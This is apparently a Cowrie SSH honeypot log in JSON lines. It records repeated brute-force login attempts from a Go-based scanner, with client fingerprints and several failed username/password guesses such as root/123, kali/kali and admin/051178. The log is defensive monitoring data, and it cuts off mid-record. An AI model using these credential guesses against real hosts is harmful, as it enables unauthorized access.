{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:45.233300Z","src_ip":"45.156.87.253","session":"a97474b45a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:45.473385Z","src_ip":"45.156.87.253","session":"a97474b45a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:46.556079Z","src_ip":"45.156.87.253","session":"a97474b45a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57086,"dst_ip":"10.17.0.5","dst_port":22,"session":"8861b2f24e55","protocol":"ssh","message":"New connection: 45.156.87.253:57086 (10.17.0.5:22) [session: 8861b2f24e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:48.591563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:48.596297Z","src_ip":"45.156.87.253","session":"8861b2f24e55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:48.678434Z","src_ip":"45.156.87.253","session":"8861b2f24e55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:48.921082Z","src_ip":"45.156.87.253","session":"8861b2f24e55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:50.005222Z","src_ip":"45.156.87.253","session":"8861b2f24e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53032,"dst_ip":"10.17.0.5","dst_port":22,"session":"35c53eb3e9e5","protocol":"ssh","message":"New connection: 45.156.87.253:53032 (10.17.0.5:22) [session: 35c53eb3e9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:51.891699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:51.895871Z","src_ip":"45.156.87.253","session":"35c53eb3e9e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:51.976966Z","src_ip":"45.156.87.253","session":"35c53eb3e9e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:52.220681Z","src_ip":"45.156.87.253","session":"35c53eb3e9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:53.305171Z","src_ip":"45.156.87.253","session":"35c53eb3e9e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53036,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8f207e25324","protocol":"ssh","message":"New connection: 45.156.87.253:53036 (10.17.0.5:22) [session: b8f207e25324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:55.258013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:55.261744Z","src_ip":"45.156.87.253","session":"b8f207e25324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:55.346063Z","src_ip":"45.156.87.253","session":"b8f207e25324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051178","message":"login attempt [admin/051178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:55.590734Z","src_ip":"45.156.87.253","session":"b8f207e25324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:56.673548Z","src_ip":"45.156.87.253","session":"b8f207e25324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53040,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6e277688ce1","protocol":"ssh","message":"New connection: 45.156.87.253:53040 (10.17.0.5:22) [session: c6e277688ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:58.613099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:58.616366Z","src_ip":"45.156.87.253","session":"c6e277688ce1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:58.697473Z","src_ip":"45.156.87.253","session":"c6e277688ce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"123","message":"login attempt [odoo16/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:58.938748Z","src_ip":"45.156.87.253","session":"c6e277688ce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:00.021248Z","src_ip":"45.156.87.253","session":"c6e277688ce1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49814,"dst_ip":"10.17.0.5","dst_port":22,"session":"6712e11fd35f","protocol":"ssh","message":"New connection: 45.156.87.253:49814 (10.17.0.5:22) [session: 6712e11fd35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:01.897755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:01.965802Z","src_ip":"45.156.87.253","session":"6712e11fd35f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:02.095577Z","src_ip":"45.156.87.253","session":"6712e11fd35f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:02.345123Z","src_ip":"45.156.87.253","session":"6712e11fd35f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:03.429276Z","src_ip":"45.156.87.253","session":"6712e11fd35f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49820,"dst_ip":"10.17.0.5","dst_port":22,"session":"9184804ea4b6","protocol":"ssh","message":"New connection: 45.156.87.253:49820 (10.17.0.5:22) [session: 9184804ea4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:05.388115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:05.391705Z","src_ip":"45.156.87.253","session":"9184804ea4b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:05.471786Z","src_ip":"45.156.87.253","session":"9184804ea4b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:05.714235Z","src_ip":"45.156.87.253","session":"9184804ea4b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:06.833661Z","src_ip":"45.156.87.253","session":"9184804ea4b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49832,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7c702a9d7c7","protocol":"ssh","message":"New connection: 45.156.87.253:49832 (10.17.0.5:22) [session: c7c702a9d7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:08.738756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:08.742512Z","src_ip":"45.156.87.253","session":"c7c702a9d7c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:08.926233Z","src_ip":"45.156.87.253","session":"c7c702a9d7c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:09.214174Z","src_ip":"45.156.87.253","session":"c7c702a9d7c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:10.298849Z","src_ip":"45.156.87.253","session":"c7c702a9d7c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":46074,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d3d08642979","protocol":"ssh","message":"New connection: 173.236.141.65:46074 (159.203.135.109:22) [session: 9d3d08642979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:11.109477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:27:11.112084Z","src_ip":"173.236.141.65","session":"9d3d08642979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 